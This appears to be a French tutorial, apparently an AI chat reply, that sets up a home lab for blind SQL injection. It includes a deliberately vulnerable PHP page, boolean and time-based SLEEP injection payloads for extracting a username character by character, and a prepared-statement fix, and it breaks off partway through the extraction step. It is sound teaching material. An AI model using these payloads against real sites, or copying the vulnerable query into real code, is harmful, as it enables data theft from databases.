Parfait — on va faire un mini labo concret et pédagogique pour bien comprendre comment
fonctionne une injection SQL aveugle 🔥
🧪 1. Application vulnérable (exemple simple PHP)
Imaginons cette page :
<?php
$conn = new mysqli("localhost", "root", "", "test");
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = $conn->query($sql);
if ($result && $result->num_rows > 0) {
echo "Utilisateur trouvé";
} else {
echo "Utilisateur inexistant";
}
?>
👉 Problème : aucune protection → injection possible
👉 Mais on ne voit pas les données, seulement :
"Utilisateur trouvé"
"Utilisateur inexistant"
➡️Donc : Blind SQL Injection
🎯 2. Objectif de l’attaquant
Extraire par exemple :
username = admin
🧠 3. Étape 1 : vérifier la vulnérabilité
Tester :
?id=1 AND 1=1
👉 Réponse : Utilisateur trouvé
Puis :
?id=1 AND 1=2
👉 Réponse : Utilisateur inexistant
✔️Donc :
➡️on contrôle la logique SQL → vulnérable
🔍 4. Étape 2 : deviner le premier caractère
On teste :
?id=1 AND SUBSTRING(username,1,1)='a'
Si réponse = "Utilisateur trouvé" → ✔️c'est 'a'
Sinon → ❌
On continue :
?id=1 AND SUBSTRING(username,1,1)='b'
?id=1 AND SUBSTRING(username,1,1)='c'
...
👉 Jusqu’à trouver :
?id=1 AND SUBSTRING(username,1,1)='a' ✔️
🔁 5. Étape 3 : reconstruire tout le mot
Deuxième caractère :
?id=1 AND SUBSTRING(username,2,1)='d'
Troisième :
?id=1 AND SUBSTRING(username,3,1)='m'
...
👉 Résultat :
admin
➡️🎉 username = admin
6. Variante : attaque basée sur le temps
Si l’application retourne toujours la même réponse, on utilise le temps :
Exemple :
?id=1 AND IF(SUBSTRING(username,1,1)='a', SLEEP(5), 0)
👉 Si la page met 5 secondes :
➡️condition vraie
👉 Sinon :
➡️condition fausse
⚠️7. Pourquoi c’est puissant ?
Même sans afficher :
email
password
tokens
👉 un attaquant peut tout extraire :
caractère par caractère
lentement mais sûrement
8. Correction (version sécurisée)
❌ Mauvais :
$sql = "SELECT * FROM users WHERE id = $id";
✅ Bon :
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
👉 Ici :
impossible d’injecter du SQL
$id est traité comme donnée, pas comme code
💡 9. Ce que tu dois retenir
Blind SQLi = attaque sans voir les données
Utilise :
o ✔️TRUE / FALSE
o ✔️ou le temps
Extraction = caractère par caractère
Protection = requêtes préparées + validation
🧪 2. TP complet (à faire chez toi)
Étape 1 : créer la base
CREATE DATABASE test;
USE test;
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50),
password VARCHAR(50)
);
INSERT INTO users (username, password)
VALUES ('admin', 'secret');
Étape 2 : fichier vulnérable
<?php
$conn = new mysqli("localhost", "root", "", "test");
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = $conn->query($sql);
if ($result && $result->num_rows > 0) {
echo "Utilisateur trouvé";
} else {
echo "Utilisateur inexistant";
}
?>
🌐 Étape 3 : tests manuels
Dans ton navigateur :
[Link] AND 1=1
[Link] AND 1=2
👉 Observe la différence
🔍 Étape 4 : extraction
[Link] AND SUBSTRING(username,1,1)='a'